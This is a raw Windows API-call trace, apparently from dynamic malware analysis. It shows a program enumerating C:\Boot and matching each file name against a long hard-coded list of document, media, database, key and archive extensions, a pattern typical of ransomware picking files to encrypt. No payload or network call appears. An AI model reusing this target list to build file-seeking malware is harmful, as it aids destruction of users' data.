	[0167.161] lstrlenW (lpString=".cfc") returned 4
	[0167.161] lstrcmpiW (lpString1=".cfc", lpString2=".mui") returned -1
	[0167.161] lstrlenW (lpString=".cfm") returned 4
	[0167.161] lstrcmpiW (lpString1=".cfm", lpString2=".mui") returned -1
	[0167.161] lstrlenW (lpString=".cfml") returned 5
	[0167.161] lstrcmpiW (lpString1=".cfml", lpString2="e.mui") returned -1
	[0167.161] lstrlenW (lpString=".cfu") returned 4
	[0167.162] lstrcmpiW (lpString1=".cfu", lpString2=".mui") returned -1
	[0167.162] lstrlenW (lpString=".chm") returned 4
	[0167.162] lstrcmpiW (lpString1=".chm", lpString2=".mui") returned -1
	[0167.162] lstrlenW (lpString=".cin") returned 4
	[0167.162] lstrcmpiW (lpString1=".cin", lpString2=".mui") returned -1
	[0167.162] lstrlenW (lpString=".class") returned 6
	[0167.162] lstrcmpiW (lpString1=".class", lpString2="xe.mui") returned -1
	[0167.162] lstrlenW (lpString=".clx") returned 4
	[0167.162] lstrcmpiW (lpString1=".clx", lpString2=".mui") returned -1
	[0167.162] lstrlenW (lpString=".config") returned 7
	[0167.162] lstrcmpiW (lpString1=".config", lpString2="exe.mui") returned -1
	[0167.162] lstrlenW (lpString=".cpp") returned 4
	[0167.162] lstrcmpiW (lpString1=".cpp", lpString2=".mui") returned -1
	[0167.162] lstrlenW (lpString=".cr2") returned 4
	[0167.162] lstrcmpiW (lpString1=".cr2", lpString2=".mui") returned -1
	[0167.162] lstrlenW (lpString=".crt") returned 4
	[0167.162] lstrcmpiW (lpString1=".crt", lpString2=".mui") returned -1
	[0167.162] lstrlenW (lpString=".crw") returned 4
	[0167.162] lstrcmpiW (lpString1=".crw", lpString2=".mui") returned -1
	[0167.162] lstrlenW (lpString=".cs") returned 3
	[0167.162] lstrcmpiW (lpString1=".cs", lpString2="mui") returned -1
	[0167.162] lstrlenW (lpString=".css") returned 4
	[0167.162] lstrcmpiW (lpString1=".css", lpString2=".mui") returned -1
	[0167.162] lstrlenW (lpString=".csv") returned 4
	[0167.162] lstrcmpiW (lpString1=".csv", lpString2=".mui") returned -1
	[0167.162] lstrlenW (lpString=".cub") returned 4
	[0167.162] lstrcmpiW (lpString1=".cub", lpString2=".mui") returned -1
	[0167.162] lstrlenW (lpString=".dae") returned 4
	[0167.162] lstrcmpiW (lpString1=".dae", lpString2=".mui") returned -1
	[0167.162] lstrlenW (lpString=".dat") returned 4
	[0167.163] lstrcmpiW (lpString1=".dat", lpString2=".mui") returned -1
	[0167.163] lstrlenW (lpString=".db") returned 3
	[0167.163] lstrcmpiW (lpString1=".db", lpString2="mui") returned -1
	[0167.163] lstrlenW (lpString=".dbf") returned 4
	[0167.163] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0167.163] lstrlenW (lpString=".dbx") returned 4
	[0167.163] lstrcmpiW (lpString1=".dbx", lpString2=".mui") returned -1
	[0167.163] lstrlenW (lpString=".dc3") returned 4
	[0167.163] lstrcmpiW (lpString1=".dc3", lpString2=".mui") returned -1
	[0167.163] lstrlenW (lpString=".dcm") returned 4
	[0167.163] lstrcmpiW (lpString1=".dcm", lpString2=".mui") returned -1
	[0167.163] lstrlenW (lpString=".dcr") returned 4
	[0167.163] lstrcmpiW (lpString1=".dcr", lpString2=".mui") returned -1
	[0167.163] lstrlenW (lpString=".der") returned 4
	[0167.163] lstrcmpiW (lpString1=".der", lpString2=".mui") returned -1
	[0167.163] lstrlenW (lpString=".dib") returned 4
	[0167.163] lstrcmpiW (lpString1=".dib", lpString2=".mui") returned -1
	[0167.163] lstrlenW (lpString=".dic") returned 4
	[0167.163] lstrcmpiW (lpString1=".dic", lpString2=".mui") returned -1
	[0167.163] lstrlenW (lpString=".dif") returned 4
	[0167.163] lstrcmpiW (lpString1=".dif", lpString2=".mui") returned -1
	[0167.163] lstrlenW (lpString=".divx") returned 5
	[0167.163] lstrcmpiW (lpString1=".divx", lpString2="e.mui") returned -1
	[0167.163] lstrlenW (lpString=".djvu") returned 5
	[0167.163] lstrcmpiW (lpString1=".djvu", lpString2="e.mui") returned -1
	[0167.163] lstrlenW (lpString=".dng") returned 4
	[0167.163] lstrcmpiW (lpString1=".dng", lpString2=".mui") returned -1
	[0167.163] lstrlenW (lpString=".doc") returned 4
	[0167.163] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0167.163] lstrlenW (lpString=".docm") returned 5
	[0167.163] lstrcmpiW (lpString1=".docm", lpString2="e.mui") returned -1
	[0167.164] lstrlenW (lpString=".docx") returned 5
	[0167.164] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1
	[0167.164] lstrlenW (lpString=".dot") returned 4
	[0167.164] lstrcmpiW (lpString1=".dot", lpString2=".mui") returned -1
	[0167.164] lstrlenW (lpString=".dotm") returned 5
	[0167.164] lstrcmpiW (lpString1=".dotm", lpString2="e.mui") returned -1
	[0167.164] lstrlenW (lpString=".dotx") returned 5
	[0167.164] lstrcmpiW (lpString1=".dotx", lpString2="e.mui") returned -1
	[0167.164] lstrlenW (lpString=".dpx") returned 4
	[0167.164] lstrcmpiW (lpString1=".dpx", lpString2=".mui") returned -1
	[0167.164] lstrlenW (lpString=".dqy") returned 4
	[0167.164] lstrcmpiW (lpString1=".dqy", lpString2=".mui") returned -1
	[0167.164] lstrlenW (lpString=".dsn") returned 4
	[0167.164] lstrcmpiW (lpString1=".dsn", lpString2=".mui") returned -1
	[0167.164] lstrlenW (lpString=".dt") returned 3
	[0167.164] lstrcmpiW (lpString1=".dt", lpString2="mui") returned -1
	[0167.164] lstrlenW (lpString=".dtd") returned 4
	[0167.164] lstrcmpiW (lpString1=".dtd", lpString2=".mui") returned -1
	[0167.164] lstrlenW (lpString=".dwg") returned 4
	[0167.164] lstrcmpiW (lpString1=".dwg", lpString2=".mui") returned -1
	[0167.164] lstrlenW (lpString=".dwt") returned 4
	[0167.164] lstrcmpiW (lpString1=".dwt", lpString2=".mui") returned -1
	[0167.164] lstrlenW (lpString=".dx") returned 3
	[0167.164] lstrcmpiW (lpString1=".dx", lpString2="mui") returned -1
	[0167.164] lstrlenW (lpString=".dxf") returned 4
	[0167.164] lstrcmpiW (lpString1=".dxf", lpString2=".mui") returned -1
	[0167.164] lstrlenW (lpString=".edml") returned 5
	[0167.164] lstrcmpiW (lpString1=".edml", lpString2="e.mui") returned -1
	[0167.164] lstrlenW (lpString=".efd") returned 4
	[0167.164] lstrcmpiW (lpString1=".efd", lpString2=".mui") returned -1
	[0167.164] lstrlenW (lpString=".elf") returned 4
	[0167.165] lstrcmpiW (lpString1=".elf", lpString2=".mui") returned -1
	[0167.165] lstrlenW (lpString=".emf") returned 4
	[0167.165] lstrcmpiW (lpString1=".emf", lpString2=".mui") returned -1
	[0167.165] lstrlenW (lpString=".emz") returned 4
	[0167.165] lstrcmpiW (lpString1=".emz", lpString2=".mui") returned -1
	[0167.165] lstrlenW (lpString=".epf") returned 4
	[0167.165] lstrcmpiW (lpString1=".epf", lpString2=".mui") returned -1
	[0167.165] lstrlenW (lpString=".eps") returned 4
	[0167.165] lstrcmpiW (lpString1=".eps", lpString2=".mui") returned -1
	[0167.165] lstrlenW (lpString=".epsf") returned 5
	[0167.165] lstrcmpiW (lpString1=".epsf", lpString2="e.mui") returned -1
	[0167.165] lstrlenW (lpString=".epsp") returned 5
	[0167.165] lstrcmpiW (lpString1=".epsp", lpString2="e.mui") returned -1
	[0167.165] lstrlenW (lpString=".erf") returned 4
	[0167.165] lstrcmpiW (lpString1=".erf", lpString2=".mui") returned -1
	[0167.165] lstrlenW (lpString=".exr") returned 4
	[0167.165] lstrcmpiW (lpString1=".exr", lpString2=".mui") returned -1
	[0167.165] lstrlenW (lpString=".f4v") returned 4
	[0167.165] lstrcmpiW (lpString1=".f4v", lpString2=".mui") returned -1
	[0167.165] lstrlenW (lpString=".fido") returned 5
	[0167.165] lstrcmpiW (lpString1=".fido", lpString2="e.mui") returned -1
	[0167.165] lstrlenW (lpString=".flm") returned 4
	[0167.165] lstrcmpiW (lpString1=".flm", lpString2=".mui") returned -1
	[0167.165] lstrlenW (lpString=".flv") returned 4
	[0167.165] lstrcmpiW (lpString1=".flv", lpString2=".mui") returned -1
	[0167.165] lstrlenW (lpString=".frm") returned 4
	[0167.165] lstrcmpiW (lpString1=".frm", lpString2=".mui") returned -1
	[0167.165] lstrlenW (lpString=".fxg") returned 4
	[0167.165] lstrcmpiW (lpString1=".fxg", lpString2=".mui") returned -1
	[0167.165] lstrlenW (lpString=".geo") returned 4
	[0167.165] lstrcmpiW (lpString1=".geo", lpString2=".mui") returned -1
	[0167.166] lstrlenW (lpString=".gif") returned 4
	[0167.166] lstrcmpiW (lpString1=".gif", lpString2=".mui") returned -1
	[0167.166] lstrlenW (lpString=".grs") returned 4
	[0167.166] lstrcmpiW (lpString1=".grs", lpString2=".mui") returned -1
	[0167.166] lstrlenW (lpString=".gz") returned 3
	[0167.166] lstrcmpiW (lpString1=".gz", lpString2="mui") returned -1
	[0167.166] lstrlenW (lpString=".h") returned 2
	[0167.166] lstrcmpiW (lpString1=".h", lpString2="ui") returned -1
	[0167.166] lstrlenW (lpString=".hdr") returned 4
	[0167.166] lstrcmpiW (lpString1=".hdr", lpString2=".mui") returned -1
	[0167.166] lstrlenW (lpString=".hpp") returned 4
	[0167.166] lstrcmpiW (lpString1=".hpp", lpString2=".mui") returned -1
	[0167.166] lstrlenW (lpString=".hta") returned 4
	[0167.166] lstrcmpiW (lpString1=".hta", lpString2=".mui") returned -1
	[0167.166] lstrlenW (lpString=".htc") returned 4
	[0167.166] lstrcmpiW (lpString1=".htc", lpString2=".mui") returned -1
	[0167.166] lstrlenW (lpString=".htm") returned 4
	[0167.166] lstrcmpiW (lpString1=".htm", lpString2=".mui") returned -1
	[0167.166] lstrlenW (lpString=".html") returned 5
	[0167.166] lstrcmpiW (lpString1=".html", lpString2="e.mui") returned -1
	[0167.166] lstrlenW (lpString=".icb") returned 4
	[0167.166] lstrcmpiW (lpString1=".icb", lpString2=".mui") returned -1
	[0167.166] lstrlenW (lpString=".ics") returned 4
	[0167.166] lstrcmpiW (lpString1=".ics", lpString2=".mui") returned -1
	[0167.166] lstrlenW (lpString=".iff") returned 4
	[0167.166] lstrcmpiW (lpString1=".iff", lpString2=".mui") returned -1
	[0167.166] lstrlenW (lpString=".inc") returned 4
	[0167.166] lstrcmpiW (lpString1=".inc", lpString2=".mui") returned -1
	[0167.166] lstrlenW (lpString=".indd") returned 5
	[0167.166] lstrcmpiW (lpString1=".indd", lpString2="e.mui") returned -1
	[0167.166] lstrlenW (lpString=".ini") returned 4
	[0167.167] lstrcmpiW (lpString1=".ini", lpString2=".mui") returned -1
	[0167.167] lstrlenW (lpString=".iqy") returned 4
	[0167.167] lstrcmpiW (lpString1=".iqy", lpString2=".mui") returned -1
	[0167.167] lstrlenW (lpString=".j2c") returned 4
	[0167.167] lstrcmpiW (lpString1=".j2c", lpString2=".mui") returned -1
	[0167.167] lstrlenW (lpString=".j2k") returned 4
	[0167.167] lstrcmpiW (lpString1=".j2k", lpString2=".mui") returned -1
	[0167.167] lstrlenW (lpString=".java") returned 5
	[0167.167] lstrcmpiW (lpString1=".java", lpString2="e.mui") returned -1
	[0167.167] lstrlenW (lpString=".jp2") returned 4
	[0167.167] lstrcmpiW (lpString1=".jp2", lpString2=".mui") returned -1
	[0167.167] lstrlenW (lpString=".jpc") returned 4
	[0167.167] lstrcmpiW (lpString1=".jpc", lpString2=".mui") returned -1
	[0167.167] lstrlenW (lpString=".jpe") returned 4
	[0167.167] lstrcmpiW (lpString1=".jpe", lpString2=".mui") returned -1
	[0167.167] lstrlenW (lpString=".jpeg") returned 5
	[0167.167] lstrcmpiW (lpString1=".jpeg", lpString2="e.mui") returned -1
	[0167.167] lstrlenW (lpString=".jpf") returned 4
	[0167.167] lstrcmpiW (lpString1=".jpf", lpString2=".mui") returned -1
	[0167.167] lstrlenW (lpString=".jpg") returned 4
	[0167.167] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0167.167] lstrlenW (lpString=".jpx") returned 4
	[0167.167] lstrcmpiW (lpString1=".jpx", lpString2=".mui") returned -1
	[0167.167] lstrlenW (lpString=".js") returned 3
	[0167.167] lstrcmpiW (lpString1=".js", lpString2="mui") returned -1
	[0167.167] lstrlenW (lpString=".jsf") returned 4
	[0167.167] lstrcmpiW (lpString1=".jsf", lpString2=".mui") returned -1
	[0167.167] lstrlenW (lpString=".json") returned 5
	[0167.167] lstrcmpiW (lpString1=".json", lpString2="e.mui") returned -1
	[0167.167] lstrlenW (lpString=".jsp") returned 4
	[0167.168] lstrcmpiW (lpString1=".jsp", lpString2=".mui") returned -1
	[0167.168] lstrlenW (lpString=".kdc") returned 4
	[0167.168] lstrcmpiW (lpString1=".kdc", lpString2=".mui") returned -1
	[0167.168] lstrlenW (lpString=".kmz") returned 4
	[0167.168] lstrcmpiW (lpString1=".kmz", lpString2=".mui") returned -1
	[0167.168] lstrlenW (lpString=".kwm") returned 4
	[0167.168] lstrcmpiW (lpString1=".kwm", lpString2=".mui") returned -1
	[0167.168] lstrlenW (lpString=".lasso") returned 6
	[0167.168] lstrcmpiW (lpString1=".lasso", lpString2="xe.mui") returned -1
	[0167.168] lstrlenW (lpString=".lbi") returned 4
	[0167.168] lstrcmpiW (lpString1=".lbi", lpString2=".mui") returned -1
	[0167.168] lstrlenW (lpString=".lgf") returned 4
	[0167.168] lstrcmpiW (lpString1=".lgf", lpString2=".mui") returned -1
	[0167.168] lstrlenW (lpString=".lgp") returned 4
	[0167.168] lstrcmpiW (lpString1=".lgp", lpString2=".mui") returned -1
	[0167.321] lstrlenW (lpString=".log") returned 4
	[0167.321] lstrcmpiW (lpString1=".log", lpString2=".mui") returned -1
	[0167.321] lstrlenW (lpString=".m1v") returned 4
	[0167.321] lstrcmpiW (lpString1=".m1v", lpString2=".mui") returned -1
	[0167.321] lstrlenW (lpString=".m4a") returned 4
	[0167.321] lstrcmpiW (lpString1=".m4a", lpString2=".mui") returned -1
	[0167.321] lstrlenW (lpString=".m4v") returned 4
	[0167.321] lstrcmpiW (lpString1=".m4v", lpString2=".mui") returned -1
	[0167.321] lstrlenW (lpString=".max") returned 4
	[0167.321] lstrcmpiW (lpString1=".max", lpString2=".mui") returned -1
	[0167.321] lstrlenW (lpString=".md") returned 3
	[0167.321] lstrcmpiW (lpString1=".md", lpString2="mui") returned -1
	[0167.321] lstrlenW (lpString=".mda") returned 4
	[0167.321] lstrcmpiW (lpString1=".mda", lpString2=".mui") returned -1
	[0167.321] lstrlenW (lpString=".mdb") returned 4
	[0167.321] lstrcmpiW (lpString1=".mdb", lpString2=".mui") returned -1
	[0167.321] lstrlenW (lpString=".mde") returned 4
	[0167.321] lstrcmpiW (lpString1=".mde", lpString2=".mui") returned -1
	[0167.321] lstrlenW (lpString=".mdf") returned 4
	[0167.322] lstrcmpiW (lpString1=".mdf", lpString2=".mui") returned -1
	[0167.322] lstrlenW (lpString=".mdw") returned 4
	[0167.322] lstrcmpiW (lpString1=".mdw", lpString2=".mui") returned -1
	[0167.322] lstrlenW (lpString=".mef") returned 4
	[0167.322] lstrcmpiW (lpString1=".mef", lpString2=".mui") returned -1
	[0167.322] lstrlenW (lpString=".mft") returned 4
	[0167.322] lstrcmpiW (lpString1=".mft", lpString2=".mui") returned -1
	[0167.322] lstrlenW (lpString=".mfw") returned 4
	[0167.322] lstrcmpiW (lpString1=".mfw", lpString2=".mui") returned -1
	[0167.322] lstrlenW (lpString=".mht") returned 4
	[0167.322] lstrcmpiW (lpString1=".mht", lpString2=".mui") returned -1
	[0167.322] lstrlenW (lpString=".mhtml") returned 6
	[0167.322] lstrcmpiW (lpString1=".mhtml", lpString2="xe.mui") returned -1
	[0167.322] lstrlenW (lpString=".mka") returned 4
	[0167.322] lstrcmpiW (lpString1=".mka", lpString2=".mui") returned -1
	[0167.322] lstrlenW (lpString=".mkidx") returned 6
	[0167.322] lstrcmpiW (lpString1=".mkidx", lpString2="xe.mui") returned -1
	[0167.322] lstrlenW (lpString=".mkv") returned 4
	[0167.322] lstrcmpiW (lpString1=".mkv", lpString2=".mui") returned -1
	[0167.322] lstrlenW (lpString=".mos") returned 4
	[0167.322] lstrcmpiW (lpString1=".mos", lpString2=".mui") returned -1
	[0167.322] lstrlenW (lpString=".mov") returned 4
	[0167.322] lstrcmpiW (lpString1=".mov", lpString2=".mui") returned -1
	[0167.322] lstrlenW (lpString=".mp3") returned 4
	[0167.322] lstrcmpiW (lpString1=".mp3", lpString2=".mui") returned -1
	[0167.322] lstrlenW (lpString=".mp4") returned 4
	[0167.322] lstrcmpiW (lpString1=".mp4", lpString2=".mui") returned -1
	[0167.322] lstrlenW (lpString=".mpeg") returned 5
	[0167.322] lstrcmpiW (lpString1=".mpeg", lpString2="e.mui") returned -1
	[0167.322] lstrlenW (lpString=".mpg") returned 4
	[0167.322] lstrcmpiW (lpString1=".mpg", lpString2=".mui") returned -1
	[0167.323] lstrlenW (lpString=".mpv") returned 4
	[0167.323] lstrcmpiW (lpString1=".mpv", lpString2=".mui") returned -1
	[0167.323] lstrlenW (lpString=".mrw") returned 4
	[0167.323] lstrcmpiW (lpString1=".mrw", lpString2=".mui") returned -1
	[0167.323] lstrlenW (lpString=".msg") returned 4
	[0167.323] lstrcmpiW (lpString1=".msg", lpString2=".mui") returned -1
	[0167.323] lstrlenW (lpString=".mxl") returned 4
	[0167.323] lstrcmpiW (lpString1=".mxl", lpString2=".mui") returned 1
	[0167.323] lstrlenW (lpString=".myd") returned 4
	[0167.323] lstrcmpiW (lpString1=".myd", lpString2=".mui") returned 1
	[0167.323] lstrlenW (lpString=".myi") returned 4
	[0167.323] lstrcmpiW (lpString1=".myi", lpString2=".mui") returned 1
	[0167.323] lstrlenW (lpString=".nef") returned 4
	[0167.323] lstrcmpiW (lpString1=".nef", lpString2=".mui") returned 1
	[0167.323] lstrlenW (lpString=".nrw") returned 4
	[0167.323] lstrcmpiW (lpString1=".nrw", lpString2=".mui") returned 1
	[0167.323] lstrlenW (lpString=".obj") returned 4
	[0167.323] lstrcmpiW (lpString1=".obj", lpString2=".mui") returned 1
	[0167.323] lstrlenW (lpString=".odb") returned 4
	[0167.323] lstrcmpiW (lpString1=".odb", lpString2=".mui") returned 1
	[0167.323] lstrlenW (lpString=".odc") returned 4
	[0167.323] lstrcmpiW (lpString1=".odc", lpString2=".mui") returned 1
	[0167.323] lstrlenW (lpString=".odm") returned 4
	[0167.323] lstrcmpiW (lpString1=".odm", lpString2=".mui") returned 1
	[0167.323] lstrlenW (lpString=".odp") returned 4
	[0167.323] lstrcmpiW (lpString1=".odp", lpString2=".mui") returned 1
	[0167.323] lstrlenW (lpString=".ods") returned 4
	[0167.323] lstrcmpiW (lpString1=".ods", lpString2=".mui") returned 1
	[0167.323] lstrlenW (lpString=".oft") returned 4
	[0167.323] lstrcmpiW (lpString1=".oft", lpString2=".mui") returned 1
	[0167.323] lstrlenW (lpString=".one") returned 4
	[0167.324] lstrcmpiW (lpString1=".one", lpString2=".mui") returned 1
	[0167.324] lstrlenW (lpString=".onepkg") returned 7
	[0167.324] lstrcmpiW (lpString1=".onepkg", lpString2="exe.mui") returned -1
	[0167.324] lstrlenW (lpString=".onetoc2") returned 8
	[0167.324] lstrcmpiW (lpString1=".onetoc2", lpString2=".exe.mui") returned 1
	[0167.324] lstrlenW (lpString=".opt") returned 4
	[0167.324] lstrcmpiW (lpString1=".opt", lpString2=".mui") returned 1
	[0167.324] lstrlenW (lpString=".oqy") returned 4
	[0167.324] lstrcmpiW (lpString1=".oqy", lpString2=".mui") returned 1
	[0167.324] lstrlenW (lpString=".orf") returned 4
	[0167.324] lstrcmpiW (lpString1=".orf", lpString2=".mui") returned 1
	[0167.324] lstrlenW (lpString=".p12") returned 4
	[0167.324] lstrcmpiW (lpString1=".p12", lpString2=".mui") returned 1
	[0167.324] lstrlenW (lpString=".p7b") returned 4
	[0167.324] lstrcmpiW (lpString1=".p7b", lpString2=".mui") returned 1
	[0167.324] lstrlenW (lpString=".p7c") returned 4
	[0167.324] lstrcmpiW (lpString1=".p7c", lpString2=".mui") returned 1
	[0167.324] lstrlenW (lpString=".pam") returned 4
	[0167.324] lstrcmpiW (lpString1=".pam", lpString2=".mui") returned 1
	[0167.324] lstrlenW (lpString=".pbm") returned 4
	[0167.324] lstrcmpiW (lpString1=".pbm", lpString2=".mui") returned 1
	[0167.324] lstrlenW (lpString=".pct") returned 4
	[0167.324] lstrcmpiW (lpString1=".pct", lpString2=".mui") returned 1
	[0167.325] lstrlenW (lpString=".pcx") returned 4
	[0167.325] lstrcmpiW (lpString1=".pcx", lpString2=".mui") returned 1
	[0167.325] lstrlenW (lpString=".pdd") returned 4
	[0167.325] lstrcmpiW (lpString1=".pdd", lpString2=".mui") returned 1
	[0167.325] lstrlenW (lpString=".pdf") returned 4
	[0167.325] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0167.325] lstrlenW (lpString=".pdp") returned 4
	[0167.325] lstrcmpiW (lpString1=".pdp", lpString2=".mui") returned 1
	[0167.325] lstrlenW (lpString=".pef") returned 4
	[0167.325] lstrcmpiW (lpString1=".pef", lpString2=".mui") returned 1
	[0167.325] lstrlenW (lpString=".pem") returned 4
	[0167.325] lstrcmpiW (lpString1=".pem", lpString2=".mui") returned 1
	[0167.325] lstrlenW (lpString=".pff") returned 4
	[0167.325] lstrcmpiW (lpString1=".pff", lpString2=".mui") returned 1
	[0167.325] lstrlenW (lpString=".pfm") returned 4
	[0167.325] lstrcmpiW (lpString1=".pfm", lpString2=".mui") returned 1
	[0167.326] lstrlenW (lpString=".pfx") returned 4
	[0167.326] lstrcmpiW (lpString1=".pfx", lpString2=".mui") returned 1
	[0167.326] lstrlenW (lpString=".pgm") returned 4
	[0167.326] lstrcmpiW (lpString1=".pgm", lpString2=".mui") returned 1
	[0167.326] lstrlenW (lpString=".php") returned 4
	[0167.326] lstrcmpiW (lpString1=".php", lpString2=".mui") returned 1
	[0167.326] lstrlenW (lpString=".php3") returned 5
	[0167.326] lstrcmpiW (lpString1=".php3", lpString2="e.mui") returned -1
	[0167.326] lstrlenW (lpString=".php4") returned 5
	[0167.326] lstrcmpiW (lpString1=".php4", lpString2="e.mui") returned -1
	[0167.326] lstrlenW (lpString=".php5") returned 5
	[0167.326] lstrcmpiW (lpString1=".php5", lpString2="e.mui") returned -1
	[0167.326] lstrlenW (lpString=".phtml") returned 6
	[0167.326] lstrcmpiW (lpString1=".phtml", lpString2="xe.mui") returned -1
	[0167.326] lstrlenW (lpString=".pict") returned 5
	[0167.326] lstrcmpiW (lpString1=".pict", lpString2="e.mui") returned -1
	[0167.326] lstrlenW (lpString=".pl") returned 3
	[0167.326] lstrcmpiW (lpString1=".pl", lpString2="mui") returned -1
	[0167.326] lstrlenW (lpString=".pls") returned 4
	[0167.327] lstrcmpiW (lpString1=".pls", lpString2=".mui") returned 1
	[0167.327] lstrlenW (lpString=".pm") returned 3
	[0167.327] lstrcmpiW (lpString1=".pm", lpString2="mui") returned -1
	[0167.327] lstrlenW (lpString=".png") returned 4
	[0167.327] lstrcmpiW (lpString1=".png", lpString2=".mui") returned 1
	[0167.327] lstrlenW (lpString=".pnm") returned 4
	[0167.327] lstrcmpiW (lpString1=".pnm", lpString2=".mui") returned 1
	[0167.327] lstrlenW (lpString=".pot") returned 4
	[0167.327] lstrcmpiW (lpString1=".pot", lpString2=".mui") returned 1
	[0167.327] lstrlenW (lpString=".potm") returned 5
	[0167.327] lstrcmpiW (lpString1=".potm", lpString2="e.mui") returned -1
	[0167.327] lstrlenW (lpString=".potx") returned 5
	[0167.327] lstrcmpiW (lpString1=".potx", lpString2="e.mui") returned -1
	[0167.327] lstrlenW (lpString=".ppa") returned 4
	[0167.327] lstrcmpiW (lpString1=".ppa", lpString2=".mui") returned 1
	[0167.327] lstrlenW (lpString=".ppam") returned 5
	[0167.327] lstrcmpiW (lpString1=".ppam", lpString2="e.mui") returned -1
	[0167.327] lstrlenW (lpString=".ppm") returned 4
	[0167.327] lstrcmpiW (lpString1=".ppm", lpString2=".mui") returned 1
	[0167.327] lstrlenW (lpString=".pps") returned 4
	[0167.327] lstrcmpiW (lpString1=".pps", lpString2=".mui") returned 1
	[0167.327] lstrlenW (lpString=".ppsm") returned 5
	[0167.327] lstrcmpiW (lpString1=".ppsm", lpString2="e.mui") returned -1
	[0167.327] lstrlenW (lpString=".ppt") returned 4
	[0167.327] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0167.327] lstrlenW (lpString=".pptm") returned 5
	[0167.327] lstrcmpiW (lpString1=".pptm", lpString2="e.mui") returned -1
	[0167.328] lstrlenW (lpString=".pptx") returned 5
	[0167.328] lstrcmpiW (lpString1=".pptx", lpString2="e.mui") returned -1
	[0167.328] lstrlenW (lpString=".prn") returned 4
	[0167.328] lstrcmpiW (lpString1=".prn", lpString2=".mui") returned 1
	[0167.328] lstrlenW (lpString=".ps") returned 3
	[0167.328] lstrcmpiW (lpString1=".ps", lpString2="mui") returned -1
	[0167.328] lstrlenW (lpString=".psb") returned 4
	[0167.328] lstrcmpiW (lpString1=".psb", lpString2=".mui") returned 1
	[0167.328] lstrlenW (lpString=".psd") returned 4
	[0167.328] lstrcmpiW (lpString1=".psd", lpString2=".mui") returned 1
	[0167.328] lstrlenW (lpString=".pst") returned 4
	[0167.328] lstrcmpiW (lpString1=".pst", lpString2=".mui") returned 1
	[0167.328] lstrlenW (lpString=".ptx") returned 4
	[0167.328] lstrcmpiW (lpString1=".ptx", lpString2=".mui") returned 1
	[0167.328] lstrlenW (lpString=".pub") returned 4
	[0167.328] lstrcmpiW (lpString1=".pub", lpString2=".mui") returned 1
	[0167.328] lstrlenW (lpString=".pwm") returned 4
	[0167.328] lstrcmpiW (lpString1=".pwm", lpString2=".mui") returned 1
	[0167.328] lstrlenW (lpString=".pxr") returned 4
	[0167.328] lstrcmpiW (lpString1=".pxr", lpString2=".mui") returned 1
	[0167.328] lstrlenW (lpString=".py") returned 3
	[0167.328] lstrcmpiW (lpString1=".py", lpString2="mui") returned -1
	[0167.328] lstrlenW (lpString=".qt") returned 3
	[0167.328] lstrcmpiW (lpString1=".qt", lpString2="mui") returned -1
	[0167.328] lstrlenW (lpString=".r3d") returned 4
	[0167.328] lstrcmpiW (lpString1=".r3d", lpString2=".mui") returned 1
	[0167.328] lstrlenW (lpString=".raf") returned 4
	[0167.328] lstrcmpiW (lpString1=".raf", lpString2=".mui") returned 1
	[0167.328] lstrlenW (lpString=".rar") returned 4
	[0167.328] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0167.329] FindNextFileW (in: hFindFile=0x6abe98, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4853f40, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209949ab, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12f60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0
	[0167.329] FindClose (in: hFindFile=0x6abe98 | out: hFindFile=0x6abe98) returned 1
	[0167.329] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4410728 | out: hHeap=0x610000) returned 1
	[0167.329] FindNextFileW (in: hFindFile=0x6abd98, lpFindFileData=0x350fa7c | out: lpFindFileData=0x350fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc487a0b9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc487a0b9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="et-EE", cAlternateFileName="")) returned 1
	[0167.329] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xfffe) returned 0x4434fd8
	[0167.330] lstrlenW (lpString="C:\\Boot\\et-EE") returned 13
	[0167.330] FindFirstFileW (in: lpFileName="C:\\Boot\\et-EE\\*", lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc487a0b9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc487a0b9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6ac098
	[0167.330] FindNextFileW (in: hFindFile=0x6ac098, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc487a0b9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc487a0b9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
